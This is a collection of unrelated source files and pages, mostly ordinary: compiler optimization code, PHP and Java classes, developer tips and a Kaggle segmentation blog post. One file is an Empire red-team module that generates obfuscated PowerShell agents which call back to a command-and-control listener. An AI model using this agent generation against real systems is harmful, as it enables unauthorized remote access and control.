text:
using namespace eddic;

namespace eddic {
namespace mtac {

typedef boost::mpl::vector<
        mtac::ConstantFolding*
    > basic_passes;

struct all_basic_optimizations {};

template<>
struct pass_traits<all_basic_optimizations> {
    STATIC_CONSTANT(pass_type, type, pass_type::IPA_SUB);
    STATIC_STRING(name, "all_basic_optimizations");
    STATIC_CONSTANT(unsigned int, property_flags, 0);
    STATIC_CONSTANT(unsigned int, todo_after_flags, 0);

    typedef basic_passes sub_passes;
};

typedef boost::mpl::vector<
        mtac::ArithmeticIdentities*,
        mtac::ReduceInStrength*,
        mtac::ConstantFolding*,
        mtac::conditional_propagation*,
        mtac::ConstantPropagationProblem*,
        mtac::OffsetConstantPropagationProblem*,
        mtac::local_cse*,
        mtac::global_cse*,
        mtac::PointerPropagation*,
        mtac::MathPropagation*,
        mtac::optimize_branches*,
        mtac::remove_dead_basic_blocks*,
        mtac::merge_basic_blocks*,
        mtac::dead_code_elimination*,
        mtac::remove_aliases*,
        mtac::loop_analysis*,
        mtac::loop_invariant_code_motion*,
        mtac::loop_induction_variables_optimization*,
        mtac::remove_empty_loops*,
        mtac::loop_unrolling*,
        mtac::loop_unswitching*,
        mtac::complete_loop_peeling*, //Must be kept last since it can mess up the loop analysis
        mtac::clean_variables*
    > passes;

struct all_optimizations {};

template<>
struct pass_traits<all_optimizations> {
    STATIC_CONSTANT(pass_type, type, pass_type::IPA_SUB);
    STATIC_STRING(name, "all_optimizations");
    STATIC_CONSTANT(unsigned int, property_flags, 0);
    STATIC_CONSTANT(unsigned int, todo_after_flags, 0);

    typedef passes sub_passes;
};

}
}

namespace {

template<typename T, typename Sign>
struct has_gate {
    typedef char yes[1];
    typedef char no [2];
    template <typename U, U> struct type_check;
    template <typename _1> static yes &chk(type_check<Sign, &_1::gate> *);
    template <typename   > static no  &chk(...);
    static bool const value = sizeof(chk<T>(0)) == sizeof(yes);
};

typedef boost::mpl::vector<
        mtac::remove_unused_functions*,
        mtac::all_basic_optimizations*
    > ipa_basic_passes;

typedef boost::mpl::vector<
        mtac::remove_unused_functions*,
        mtac::pure_analysis*,
        mtac::all_optimizations*,
        mtac::remove_empty_functions*,
        mtac::inline_functions*,
        mtac::remove_unused_functions*,
        mtac::parameter_propagation*
    > ipa_passes;

template<typename Pass>
struct need_pool {
    static const bool value = mtac::pass_traits<Pass>::property_flags & mtac::PROPERTY_POOL;
};

template<typename Pass>
struct need_platform {
    static const bool value = mtac::pass_traits<Pass>::property_flags & mtac::PROPERTY_PLATFORM;
};

template<typename Pass>
struct need_configuration {
    static const bool value = mtac::pass_traits<Pass>::property_flags & mtac::PROPERTY_CONFIGURATION;
};

template<typename Pass>
struct need_program {
    static const bool value = mtac::pass_traits<Pass>::property_flags & mtac::PROPERTY_PROGRAM;
};

struct pass_runner {
    bool optimized = false;

    mtac::Program& program;
    mtac::Function* function;

    std::shared_ptr<StringPool> pool;
    std::shared_ptr<Configuration> configuration;
    Platform platform;
    timing_system& system;

    pass_runner(mtac::Program& program, std::shared_ptr<StringPool> pool, std::shared_ptr<Configuration> configuration, Platform platform, timing_system& system) :
            program(program), pool(pool), configuration(configuration), platform(platform), system(system) {};

    template<typename Pass>
    inline void apply_todo(){
        //No todo are implemented
    }

    template<typename Pass>
    inline typename std::enable_if_t<need_pool<Pass>::value, void> set_pool(Pass& pass){
        pass.set_pool(pool);
    }

    template<typename Pass>
    inline typename std::enable_if_t<!need_pool<Pass>::value, void> set_pool(Pass&){
        //NOP
    }

    template<typename Pass>
    inline typename std::enable_if_t<need_platform<Pass>::value, void> set_platform(Pass& pass){
        pass.set_platform(platform);
    }

    template<typename Pass>
    inline typename std::enable_if_t<!need_platform<Pass>::value, void> set_platform(Pass&){
        //NOP
    }

    template<typename Pass>
    inline typename std::enable_if_t<need_configuration<Pass>::value, void> set_configuration(Pass& pass){
        pass.set_configuration(configuration);
    }

    template<typename Pass>
    inline typename std::enable_if_t<!need_configuration<Pass>::value, void> set_configuration(Pass&){
        //NOP
    }

    template<typename Pass>
    inline typename std::enable_if_t<need_program<Pass>::value, Pass> construct(){
        return Pass(program);
    }

    template<typename Pass>
    inline typename std::enable_if_t<!need_program<Pass>::value, Pass> construct(){
        return Pass();
    }

    template<typename Pass>
    Pass make_pass(){
        auto pass = construct<Pass>();

        set_pool(pass);
        set_platform(pass);
        set_configuration(pass);

        return pass;
    }

    template<typename Pass>
    inline typename std::enable_if_t<has_gate<Pass, bool(Pass::*)(std::shared_ptr<Configuration>)>::value, bool> has_to_be_run(Pass& pass){
        return pass.gate(configuration);
    }

    template<typename Pass>
    inline typename std::enable_if_t<!has_gate<Pass, bool(Pass::*)(std::shared_ptr<Configuration>)>::value, bool> has_to_be_run(Pass&){
        return true;
    }

    template<typename Pass>
    inline typename std::enable_if<mtac::pass_traits<Pass>::type == mtac::pass_type::IPA, bool>::type apply(Pass& pass){
        return pass(program);
    }

    template<typename Pass>
    inline typename std::enable_if<mtac::pass_traits<Pass>::type == mtac::pass_type::IPA_SUB, bool>::type apply(Pass&){
        for(auto& function : program.functions){
            this->function = &function;

            if(log::enabled<Debug>()){
                LOG<Debug>("Optimizer") << "Start optimizations on " << function.get_name() << log::endl;

                std::cout << function << std::endl;
            }

            boost::mpl::for_each<typename mtac::pass_traits<Pass>::sub_passes>(boost::ref(*this));
        }

        return false;
    }

    template<typename Pass>
    inline typename std::enable_if<mtac::pass_traits<Pass>::type == mtac::pass_type::CUSTOM, bool>::type apply(Pass& pass){
        return pass(*function);
    }

    template<typename Pass>
    inline typename std::enable_if<mtac::pass_traits<Pass>::type == mtac::pass_type::LOCAL, bool>::type apply(Pass& visitor){
        for(auto& block : *function){
            for(auto& quadruple : block->statements){
                visitor(quadruple);
            }
        }

        return visitor.optimized;
    }

    template<typename Pass>
    inline typename std::enable_if<mtac::pass_traits<Pass>::type == mtac::pass_type::DATA_FLOW, bool>::type apply(Pass& problem){
        auto results = mtac::data_flow(*function, problem);

        //Once the data-flow problem is fixed, statements can be optimized
        return problem.optimize(*function, results);
    }

    template<typename Pass>
    inline typename std::enable_if<mtac::pass_traits<Pass>::type == mtac::pass_type::BB, bool>::type apply(Pass& visitor){
        bool optimized = false;

        for(auto& block : *function){
            visitor.clear();

            for(auto& quadruple : block->statements){
                visitor(quadruple);
            }

            optimized |= visitor.optimized;
        }

        return optimized;
    }

    template<typename Pass>
    inline typename std::enable_if<mtac::pass_traits<Pass>::type == mtac::pass_type::BB_TWO_PASS, bool>::type apply(Pass& visitor){
        bool optimized = false;

        for(auto& block : *function){
            visitor.clear();

            visitor.pass = mtac::Pass::DATA_MINING;
            for(auto& quadruple : block->statements){
                visitor(quadruple);
            }

            visitor.pass = mtac::Pass::OPTIMIZE;
            for(auto& quadruple : block->statements){
                visitor(quadruple);
            }

            optimized |= visitor.optimized;
        }

        return optimized;
    }

    template<typename Pass>
    inline typename std::enable_if<cpp::or_u<mtac::pass_traits<Pass>::type == mtac::pass_type::IPA, mtac::pass_traits<Pass>::type == mtac::pass_type::IPA_SUB>::value, void>::type
    debug_local(bool local){
        LOG<Debug>("Optimizer") << mtac::pass_traits<Pass>::name() << " returned " << local << log::endl;
    }

    template<typename Pass>
    inline typename std::enable_if<cpp::and_u<mtac::pass_traits<Pass>::type != mtac::pass_type::IPA, mtac::pass_traits<Pass>::type != mtac::pass_type::IPA_SUB>::value, void>::type
    debug_local(bool local){
        if(log::enabled<Debug>()){
            if(local){
                LOG<Debug>("Optimizer") << mtac::pass_traits<Pass>::name() << " returned true" << log::endl;

                //Print the function
                std::cout << *function << std::endl;
            } else {
                LOG<Debug>("Optimizer") << mtac::pass_traits<Pass>::name() << " returned false" << log::endl;
            }
        }
    }

    template<typename Pass>
    inline void operator()(Pass*){
        auto pass = make_pass<Pass>();

        if(has_to_be_run(pass)){
            timing_timer timer(system, mtac::pass_traits<Pass>::name());

            bool local = local = apply<Pass>(pass);
            if(local){
                program.context->stats().inc_counter(std::string(mtac::pass_traits<Pass>::name()) + "_true");
                apply_todo<Pass>();
            }

            debug_local<Pass>(local);

            optimized |= local;
        }
    }
};

} //end of anonymous namespace

void mtac::Optimizer::optimize(mtac::Program& program, std::shared_ptr<StringPool> string_pool, Platform platform, std::shared_ptr<Configuration> configuration) const {
    timing_timer timer(program.context->timing(), "whole_optimizations");

    //Build the CFG of each functions (also needed for register allocation)
    for(auto& function : program.functions){
        timing_timer timer(program.context->timing(), "build_cfg");
        mtac::build_control_flow_graph(function);
    }

    if(configuration->option_defined("fglobal-optimization")){
        //Apply Interprocedural Optimizations
        pass_runner runner(program, string_pool, configuration, platform, program.context->timing());
        do{
            runner.optimized = false;
            boost::mpl::for_each<ipa_passes>(boost::ref(runner));
        } while(runner.optimized);
    } else {
        //Even if global optimizations are disabled, perform basic optimization (only constant folding)
        pass_runner runner(program, string_pool, configuration, platform, program.context->timing());
        boost::mpl::for_each<ipa_basic_passes>(boost::ref(runner));
    }
}

redpajama_set_name: RedPajamaGithub


text:
<?php namespace Fungku\NetSuite\Classes;

class CreditMemoSalesTeamList {
	public $salesTeam;
	public $replaceAll;
	static $paramtypesmap = array(
		"salesTeam" => "CreditMemoSalesTeam[]",
		"replaceAll" => "boolean",
	);
}


text:
Eigen Tips
==============

Use Quicksilver
---------------

Quickly load any type of our primitives ( shows / artworks / artists etc ) by pressing enter on the keyboard when the app loads, typing in your changes and then pressing enter again.

Use your `.eigen` file
-----------------------

Authentication is a lot easier when you don't type so much, create a file in your home directory called `.eigen` and it takes a collection of `key:value` lines to have the username and password set for you in the `ARLoginViewController`.  You can use the `ARDeveloperOptions` class to react to the key value store.

Use the developer springboard function
--------------------------------------

Edit `Artsy/Classes/View Controllers/ARTopMenuViewController+DeveloperExtras.m` with any custom code that you would like to run on application startup. For example, you may want to load a specific Fair with the following code.

```objc
- (void)runDeveloperExtras
{
    [ARSwitchBoard loadFairWithID:@"the-armory-show-2014"];
}
```

Run `git update-index --assume-unchanged "Artsy/Classes/View Controllers/ARTopMenuViewController+DeveloperExtras.m"` to ignore changes on this file.

Use the offline mode for extra party/speed
------------------------------------------

Dustin left us with the amazing `NSVCRURLConnection`, which allows you to save an entire HTTP session for either working offline, or for getting back _faster_ http requests. Load the debug menu and hit the "Start" option to make it record, then go save when you're done and it will have it copied.


text:
ACCEPTED

#### According to
International Plant Names Index

#### Published in
null

#### Original name
Boucerosia socotrana Balf. f.

### Remarks
null


text:
Dir.glob(File.expand_path(File.join('..', 'util', '*.rb'), __FILE__), &method(:require))
require File.expand_path(File.join('..', 'gatherer', 'util.rb'), __FILE__)
require File.expand_path(File.join('..', 'gatherer', 'comment.rb'), __FILE__)
require File.expand_path(File.join('..', 'gatherer', 'comment_page.rb'), __FILE__)

(puts "usage: rake comments set_code [...]"; exit(0)) if ARGV.none?
ALL_SETS = read(SET_JSON_FILE_PATH)
SETS_TO_DUMP = ALL_SETS.select{|s| s['code'].in? ARGV}

SETS_TO_DUMP.each do |set|
  comment_json = {}

  set_json_path = "#{CARD_JSON_FILE_PATH}/#{set['code']}.json"
  set_json = read(set_json_path)
  multiverse_ids = set_json.map{|card| card['multiverse_id']}.compact

  Worker.distribute(multiverse_ids, GathererCommentPage, :dump).each{|id, comments| comment_json[id] = comments unless comments.empty?} # asynchronous
  # multiverse_ids.map{|id| _,comments = GathererCommentPage.dump(id); comment_json[id] = comments} # synchronous

  next if comment_json.empty?
  comment_json_path = "#{COMMENT_JSON_FILE_PATH}/#{set['code']}.json"
  write(comment_json_path, comment_json)
end


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">

<title>S-Index</title>
<meta name="date" content="2016-04-20">
<link rel="stylesheet" type="text/css" href="../stylesheet.css" title="Style">

JavaScript is disabled on your browser.

Overview

Package

Class

Use

Tree

Deprecated

Index

Help

Prev Letter

Next Letter

Frames

No Frames

All Classes

A B C E F G H I K L M N O P R S T U V X

S

s - Variable in class struct.Trie

setAppTable(Map<Integer, Table>) - Method in class struct.Application

setAttributeFieldType(String) - Method in class struct.Lat_Attribute

setAttributeValue(String) - Method in class struct.Lat_Attribute

setConceptType(String) - Method in class struct.Lat_Concept

setSubSetTable(Map<Integer, SubsetTable>) - Method in class struct.Application

setTableMatchType(AttributeType) - Method in class struct.Table

struct - package struct

SubsetTable - Class in struct

SubsetTable(int) - Constructor for class struct.SubsetTable

support - Variable in class struct.Lat_Concept

A B C E F G H I K L M N O P R S T U V X

Overview

Package

Class

Use

Tree

Deprecated

Index

Help

Prev Letter

Next Letter

Frames

No Frames

All Classes


text:
package com.duguang.baseanimation.utils;

import java.util.regex.Matcher;
import java.util.regex.Pattern;

import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.content.pm.PackageManager.NameNotFoundException;
import android.os.Bundle;
import android.os.Looper;
import android.widget.Toast;

public class ExampleUtil {
    public static final String PREFS_NAME = "JPUSH_EXAMPLE";
    public static final String PREFS_DAYS = "JPUSH_EXAMPLE_DAYS";
    public static final String PREFS_START_TIME = "PREFS_START_TIME";
    public static final String PREFS_END_TIME = "PREFS_END_TIME";
    public static final String KEY_APP_KEY = "JPUSH_APPKEY";

    /**
     * will trim the string
     *
     * @param s
     * @return
     */
    public static boolean isEmpty(String s) {
        if (null == s)
            return true;
        if (s.length() == 0)
            return true;
        if (s.trim().length() == 0)
            return true;
        return false;
    }

    // 校验Tag Alias 只能是数字,英文字母和中文
    public static boolean isValidTagAndAlias(String s) {
        Pattern p = Pattern.compile("^[\u4E00-\u9FA50-9a-zA-Z_-]{0,}$");
        Matcher m = p.matcher(s);
        return m.matches();
    }

    // 取得AppKey
    public static String getAppKey(Context context) {
        Bundle metaData = null;
        String appKey = null;
        try {
            ApplicationInfo ai = context.getPackageManager().getApplicationInfo(
                    context.getPackageName(), PackageManager.GET_META_DATA);
            if (null != ai)
                metaData = ai.metaData;
            if (null != metaData) {
                appKey = metaData.getString(KEY_APP_KEY);
                if ((null == appKey) || appKey.length() != 24) {
                    appKey = null;
                }
            }
        } catch (NameNotFoundException e) {

        }
        return appKey;
    }

    // 取得版本号
    public static String GetVersion(Context context) {
		try {
			PackageInfo manager = context.getPackageManager().getPackageInfo(
					context.getPackageName(), 0);
			return manager.versionName;
		} catch (NameNotFoundException e) {
			return "Unknown";
		}
	}

    public static void showToast(final String toast, final Context context)
    {
    	new Thread(new Runnable() {

			@Override
			public void run() {
				Looper.prepare();
				Toast.makeText(context, toast, Toast.LENGTH_SHORT).show();
				Looper.loop();
			}
		}).start();
    }
}


text:
class CreateEventTypes < ActiveRecord::Migration
  def change
    create_table :event_types do |t|
      t.string :name

      t.timestamps
    end
  end
end


text:
<h1>Modificar Empresa </h1>

<?php $this->renderPartial('_form-modificar', array('model'=>$model)); ?>


text:
module.exports = (function() {
    'use strict';
    var config = require('../config');
    var utils = require('../utils');
    return {
        getAll: function(callback) {
            var options = {};
            options.method = 'GET';
            options.uri = config.uri.WEAPON_GET_ALL;
            utils.exec(options, callback);
        },
        getTemplates: function(callback) {
            var options = {};
            options.method = 'GET';
            options.uri = config.uri.WEAPON_GET_TEMPLATES;
            utils.exec(options, callback);
        }
    }
})();


text:
from __future__ import print_function

import os
import string

# Empire imports
from builtins import object
from lib.common import helpers

class Module(object):

    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'Generate Agent',

            'Author': ['@harmj0y'],

            'Description': ("Generates an agent code instance for a specified listener, "
                            "pre-staged, and register the agent in the database. This allows "
                            "the agent to begin beconing behavior immediately."),

            'Background': True,

            'OutputExtension': None,

            'NeedsAdmin': False,

            'OpsecSafe': True,

            'Language': 'Python',

            'Comments': []
        }

        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Listener': {
                'Description': 'Listener to generate the agent for.',
                'Required': True,
                'Value': ''
            },
            'Language': {
                'Description': 'Language to generate for the agent.',
                'Required': True,
                'Value': ''
            },
            'OutFile': {
                'Description': 'Output file to write the agent code to.',
                'Required': True,
                'Value': '/tmp/agent'
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]['Value'] = value

    def execute(self):

        listener_name = self.options['Listener']['Value']
        language = self.options['Language']['Value']
        out_file = self.options['OutFile']['Value']

        if listener_name not in self.mainMenu.listeners.activeListeners:
            print(helpers.color("[!] Error: %s not an active listener"))
            return None

        active_listener = self.mainMenu.listeners.activeListeners[listener_name]

        chars = string.ascii_uppercase + string.digits
        session_id = helpers.random_string(length=8, charset=chars)

        staging_key = active_listener['options']['StagingKey']['Value']
        delay = active_listener['options']['DefaultDelay']['Value']
        jitter = active_listener['options']['DefaultJitter']['Value']
        profile = active_listener['options']['DefaultProfile']['Value']
        kill_date = active_listener['options']['KillDate']['Value']
        working_hours = active_listener['options']['WorkingHours']['Value']
        lost_limit = active_listener['options']['DefaultLostLimit']['Value']
        if 'Host' in active_listener['options']:
            host = active_listener['options']['Host']['Value']
        else:
            host = ''

        # add the agent
        self.mainMenu.agents.add_agent(session_id, '0.0.0.0', delay, jitter, profile, kill_date, working_hours,
                                       lost_limit,
                                       listener=listener_name, language=language)

        # get the agent's session key
        session_key = self.mainMenu.agents.get_agent_session_key_db(session_id)

        agent_code = self.mainMenu.listeners.loadedListeners[active_listener['moduleName']].generate_agent(
            active_listener['options'], language=language)

        if language.lower() == 'powershell':
            agent_code += "\nInvoke-Empire -Servers @('%s') -StagingKey '%s' -SessionKey '%s' -SessionID '%s';" % (
                host, staging_key, session_key, session_id)
        else:
            print(helpers.color('[!] Only PowerShell agent generation is supported at this time.'))
            return ''

            # Get the random function name generated at install and patch the stager with the proper function name
        agent_code = helpers.keyword_obfuscation(agent_code)

        # TODO: python agent generation - need to patch in crypto functions from the stager...

        print(helpers.color("[+] Pre-generated agent '%s' now registered." % session_id))

        # increment the supplied file name appropriately if it already exists
        i = 1
        out_file_orig = out_file
        while os.path.exists(out_file):
            parts = out_file_orig.split('.')
            if len(parts) == 1:
                base = out_file_orig
                ext = None
            else:
                base = '.'.join(parts[0:-1])
                ext = parts[-1]

            if ext:
                out_file = "%s%s.%s" % (base, i, ext)
            else:
                out_file = "%s%s" % (base, i)
            i += 1

        f = open(out_file, 'w')
        f.write(agent_code)
        f.close()

        print(helpers.color("[*] %s agent code for listener %s with sessionID '%s' written out to %s" % (
            language, listener_name, session_id, out_file)))
        print(helpers.color("[*] Run sysinfo command after agent starts checking in!"))


text:
package de.javax.util.eventbinding.impl;

import java.util.HashSet;
import java.util.Set;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;

import de.javax.util.eventbinding.EventBinding;
import de.javax.util.eventbinding.EventBindingException;
import de.javax.util.eventbinding.UnboundEventTargetsException;
import de.javax.util.eventbinding.spi.EventSource;
import de.javax.util.eventbinding.spi.EventSourceCollector;
import de.javax.util.eventbinding.spi.EventTarget;
import de.javax.util.eventbinding.spi.EventTargetCollector;

/**
 * The default implementation of the event binding.
 *
 * @author Frank Hardy
 */
public class DefaultEventBinding implements EventBinding {

	private final Logger logger = LoggerFactory.getLogger(getClass());

    private final EventSourceCollector sourceCollector;
    private final EventTargetCollector targetCollector;

    private final boolean strictBindingMode;

    private EventSourceAndTargetProvider eventSourceAndTargetProvider;
    private Set<EventTarget> boundTargets;

    public DefaultEventBinding(
    		EventSourceCollector sourceCollector, EventTargetCollector targetCollector,
    		EventSourceAndTargetProvider providerHolder, boolean strict) {
    	this.sourceCollector = sourceCollector;
    	this.targetCollector = targetCollector;
    	this.eventSourceAndTargetProvider = providerHolder;
    	strictBindingMode = strict;

    	buildBindings();
    }

	@Override
	public Object getSourceProvider() {
		verifyState();
		return eventSourceAndTargetProvider.sourceProvider;
	}

	@Override
	public Object getTargetProvider() {
		verifyState();
		return eventSourceAndTargetProvider.targetProvider;
	}

	@Override
	public void release() {
		verifyState();
		for (EventTarget target : boundTargets) {
			target.unbindFromSources();
		}
		boundTargets.clear();
		boundTargets = null;
	}

	@Override
	public boolean isReleased() {
		return eventSourceAndTargetProvider == null;
	}

	@Override
	public void rebuild() {
        verifyState();
        release();
        buildBindings();
    }

	public Set<EventTarget> getBoundTargets() {
		return boundTargets;
	}

	void buildBindings() {
        logger.debug("Binding sources of event source provider [{}] with targets of event target provider [{}]",
        		eventSourceAndTargetProvider.sourceProvider, eventSourceAndTargetProvider.targetProvider);

        Set<EventSource> foundSources = sourceCollector.collectEventSourcesFrom(eventSourceAndTargetProvider.sourceProvider);
        if (foundSources.isEmpty()) {
            throw new EventBindingException("No event sources found!");
        }

        Set<EventTarget> foundTargets = targetCollector.collectEventTargetsFrom(eventSourceAndTargetProvider.targetProvider);
        if (foundTargets.isEmpty()) {
            throw new EventBindingException("No event targets found!");
        }

        boundTargets = bindTargetsToSources(foundTargets, foundSources);
        logger.debug("{} targets have been bound to sources.", boundTargets.size());
	}

    private Set<EventTarget> bindTargetsToSources(Set<EventTarget> eventTargets, Set<EventSource> eventSources) {
    	logger.debug("Trying to bind {} event sources with {} event targets.", eventSources.size(), eventTargets.size());

        Set<EventTarget> boundTargets = new HashSet<EventTarget>();
        Set<EventTarget> unboundTargets = new HashSet<EventTarget>();

        for (EventTarget eventTarget : eventTargets) {
            for (EventSource eventSource : eventSources) {
                eventSource.bindTo(eventTarget);
            }

            if (eventTarget.isBound()) {
                boundTargets.add(eventTarget);
            } else if (strictBindingMode) {
                unboundTargets.add(eventTarget);
            } else {
                logger.warn("Unbound event target: {}", eventTarget);
            }
        }

        if (boundTargets.isEmpty()) {
            throw new UnboundEventTargetsException(eventTargets);
        }
        if (strictBindingMode && !unboundTargets.isEmpty()) {
            throw new UnboundEventTargetsException(unboundTargets);
        }

        return boundTargets;
    }

    private void verifyState() {
		if (isReleased()) {
			throw new IllegalStateException("The binding has been released!");
		}
    }
}


text:
<!DOCTYPE html>

    <meta charset="utf-8">
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">

    <title>Ultrasound nerve segmentation challenge on Kaggle</title>

    <meta name="HandheldFriendly" content="True">
    <meta name="MobileOptimized" content="320">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">

    <meta name="description" content="">

    <meta name="twitter:card" content="summary">
    <meta name="twitter:title" content="Ultrasound nerve segmentation challenge on Kaggle">
    <meta name="twitter:description" content="">

    <meta property="og:type" content="article">
    <meta property="og:title" content="Ultrasound nerve segmentation challenge on Kaggle">
    <meta property="og:description" content="">

    <link href="/favicon.ico" rel="shortcut icon" type="image/x-icon">
    <link href="/apple-touch-icon-precomposed.png" rel="apple-touch-icon">

    <link href="//fonts.googleapis.com/" rel="dns-prefetch">
    <link href="//fonts.googleapis.com/css?family=Droid+Serif:400,700,400italic|Open+Sans:700,400&subset=latin,latin-ext" rel="stylesheet">

    <link rel="stylesheet" href="//raghakot.github.io/themes/ghostium/assets/css/main.min.css?v=1508304871352"/>
    <link rel="stylesheet" href="//raghakot.github.io/themes/ghostium/assets/css/custom.css?v=1508304871352"/>
    <link rel="stylesheet" href="//raghakot.github.io/themes/ghostium/assets/css/asciidoctor-foundation.css?v=1508304871352"/>

    <link rel="canonical" href="https://raghakot.github.io/2016/12/26/Ultrasound-nerve-segmentation-challenge-on-Kaggle.html" />
    <meta name="referrer" content="origin" />

    <meta property="og:site_name" content="Ragha's Blog" />
    <meta property="og:type" content="website" />
    <meta property="og:title" content="Ultrasound nerve segmentation challenge on Kaggle" />
    <meta property="og:description" content="A while ago, kaggle hosted the ultrasound nerve segmentation challenge, which requires partipants to predict the nerve area (brachial plexus) in a given Ultrasound image. The task is to predict the segmentation mask for the the brachial plexus. Even my own neural network (brain) finds it difficult to spot patterns" />
    <meta property="og:url" content="https://raghakot.github.io/2016/12/26/Ultrasound-nerve-segmentation-challenge-on-Kaggle.html" />
    <meta name="twitter:card" content="summary" />
    <meta name="twitter:title" content="Ultrasound nerve segmentation challenge on Kaggle" />
    <meta name="twitter:description" content="A while ago, kaggle hosted the ultrasound nerve segmentation challenge, which requires partipants to predict the nerve area (brachial plexus) in a given Ultrasound image. The task is to predict the segmentation mask for the the brachial plexus. Even my own neural network (brain) finds it difficult to spot patterns" />
    <meta name="twitter:url" content="https://raghakot.github.io/2016/12/26/Ultrasound-nerve-segmentation-challenge-on-Kaggle.html" />

    <meta name="generator" content="HubPress" />
    <link rel="alternate" type="application/rss+xml" title="Ragha's Blog" href="https://raghakot.github.io/rss/" />

    <button data-action="open-drawer" id="drawer-button" class="drawer-button"></button>

              Home

              Subscribe to Feed

            Follow me

              Twitter

              Github

              Facebook

              LinkedIn

              Email

                <time datetime="2016-12-26" itemprop="datePublished">
                  10 months ago
                </time>

                Comments

Ultrasound nerve segmentation challenge on Kaggle

                  Raghavendra Kotikalapudi

Learning to machine learn

A while ago, kaggle hosted the ultrasound nerve segmentation challenge, which requires partipants to predict the nerve area (brachial plexus) in a given Ultrasound image. The task is to predict the segmentation mask for the the brachial plexus. Even my own neural network (brain) finds it difficult to spot patterns in these images. Can you spot the pattern?

Figure 1. Sample ultrasound and segmentation mask

Figure 2. Various ultrasound images overlayed with segmentation contours.

What makes this challenge particularly interesting is that ~60% of images do not contain the brachial plexus, i.e., segmentations mask is empty. Since the competition uses the mean of dice coefficient across all samples as the evaluation metric, even a single pixel in segmentation mask for non-nerve images mask kills the score. Ironically, you can achieve a score of ~0.6 just by predicting zero masks; it drops to ~[0.35, 0.45] when you try to learn it using a standard U-Net. This, combined with nosiy ultrasound images and a lack of obvious nerve patterns, intrigued me enough to participate in the challenge.

Unlike most kaggle posts, this article is more about the thought-process involved in coming up with a solution. I find it distasteful when folks just hand out a giant blob of code on github or just post their final complex solution that somehow gives good results.

Step1: Quick and dirty baseline

My methodology is always to first start with a quick and simple baseline model and setup and end-end working code. In case of this challenge, this means:

Data related I/O - Loading, train/test splits, optional preprocessing blocks

Baseline model: I stated with a U-Net as it seemed like the state of the art model for these kinds of data. I also retrofitted it with batch normalization, ELU activation, and dropout.

Clean code: Try to organize code into classes. Having function blocks everywhere makes the code messy and error prone.

Submission code: Code to generate submission file.

As mentioned in the overview, this tends to give mean dice score of ~[0.35, 0.45], which is pretty abysmal.

Step2: Data exploration

Now that an end-end working code is setup. We can work on optimizing individual blocks. The most obvious strategy is to get a better understanding of dataset at hand. The idea is to leverage insights from the dataset to improve/build the conv-net architecture and perhaps use dataset specific idiosynchronicities to provide better training signal.

Initial manual exploration revealed contradictory examples. i.e., two very similar images have different labels, one with a valid segmentation mask while the other doesn’t.

Figure 3. Contradictory samples

Lets try to find all such near duplicates. High level idea is as follows:

Divide image into blocks, say (20, 20).

Compute histogram over various blocks. The concatenated set of histograms represents the image hash.

Compute pairwise cosine similarity between image hashes and find ones within some reasonable threshold.

import skimage.util
import scipy.spatial.distance as spdist

def compute_img_hist(img):
    # Divide the image in blocks and compute per-block histogram
    blocks = skimage.util.view_as_blocks(img, block_shape=(20, 20))
    img_hists = [np.histogram(block, bins=np.linspace(0, 1, 10))[0] for block in blocks]
    return np.concatenate(img_hists)

# Compute hashes over all images
hashes = np.array(map(compute_img_hist, imgs))

# pairwise distance matrix
dist = spdist.squareform(spdist.pdist(hashes, metric='cosine'))

# find duplicates. +np.eye because we want to exclude image matching with itself.
# 0.008 is determined after some trial and errors.
close_pairs = dists + np.eye(dists.shape[0]) < 0.008

The number of samples with inconsistent labeling is a whooping ~40% of the training set!!! Such a large number of inconsistent samples is bound to put an upper limit on the accuracy of the model. I think part of the problem lies with how the dataset was setup. Typically, doctors use ultrasound video frames to localize the nerve. Finding the nerve with a single frame is extremely challenging, even for human experts. I think it would be more interesting if they included videos instead.

The training set is small as is, just 5635 samples. After discards, we are only left with 3398 samples. This certainly doesn’t look good for training a deep model as they require lots of training data. On top of that, we cannot use transfer learning either as there are no pretrained-nets on this sort of data.

Despite all this, the cleaned raining data manages to improve baseline model score to ~0.55.

Step3: Real work begins…

This article is still a work in progress. Check back for updates.

Since the beginning, it was clear that i had to do something about the weird score evaluation. Even a single pixel predicted on the segmentation output for non-nerve images was going to hurt the score. A pretty straight forward strategy was to add a Dense layer towards the end of encoder an predict whether the image contains the mask or not. Lets call this value has_mask

During test/submission time, I could simply zero out all the segmentation mask values if has_mask = False.

<link rel="stylesheet" type="text/css" href="../../../extras/inlineDisqussions.css" />

Written By

                  Raghavendra Kotikalapudi

Learning to machine learn

Seattle WA

                    http://raghakot.github.io/

                  Published on
                  <time class="post-date">December 26, 2016</time>

Spread the word

Copyright © Ragha's Blog. 2017. All Rights Reserved.

Ghostium Theme by @oswaldoacauan

Adapted by Maxime Gréau

Published with HubPress

  Please enable JavaScript to view the comments powered by Disqus.
  comments powered by Disqus


text:
Utilities for Google's authentication methods as described in
Getting
Started with Account Authorization
.

This package depends on the {@link com.google.api.client.http} and {@link
com.google.api.client.util} packages.

Warning: this package is experimental, and its content may be
changed in incompatible ways or possibly entirely removed in a future version of
the library

@since 2.2


text:
namespace Magick
{
  class MagickDLLDecl CoderInfo
  {
  public:

    enum MatchType {
      AnyMatch,		// match any coder
      TrueMatch,	// match coder if true
      FalseMatch	// match coder if false
    };

    CoderInfo ( const std::string &name_ );
    ~CoderInfo ( void );

    // Format name
    std::string name( void ) const;

    // Format description
    std::string description( void ) const;

    // Format is readable
    bool isReadable( void ) const;

    // Format is writeable
    bool isWritable( void ) const;

    // Format supports multiple frames
    bool isMultiFrame( void ) const;

    //
    // Implemementation methods
    //
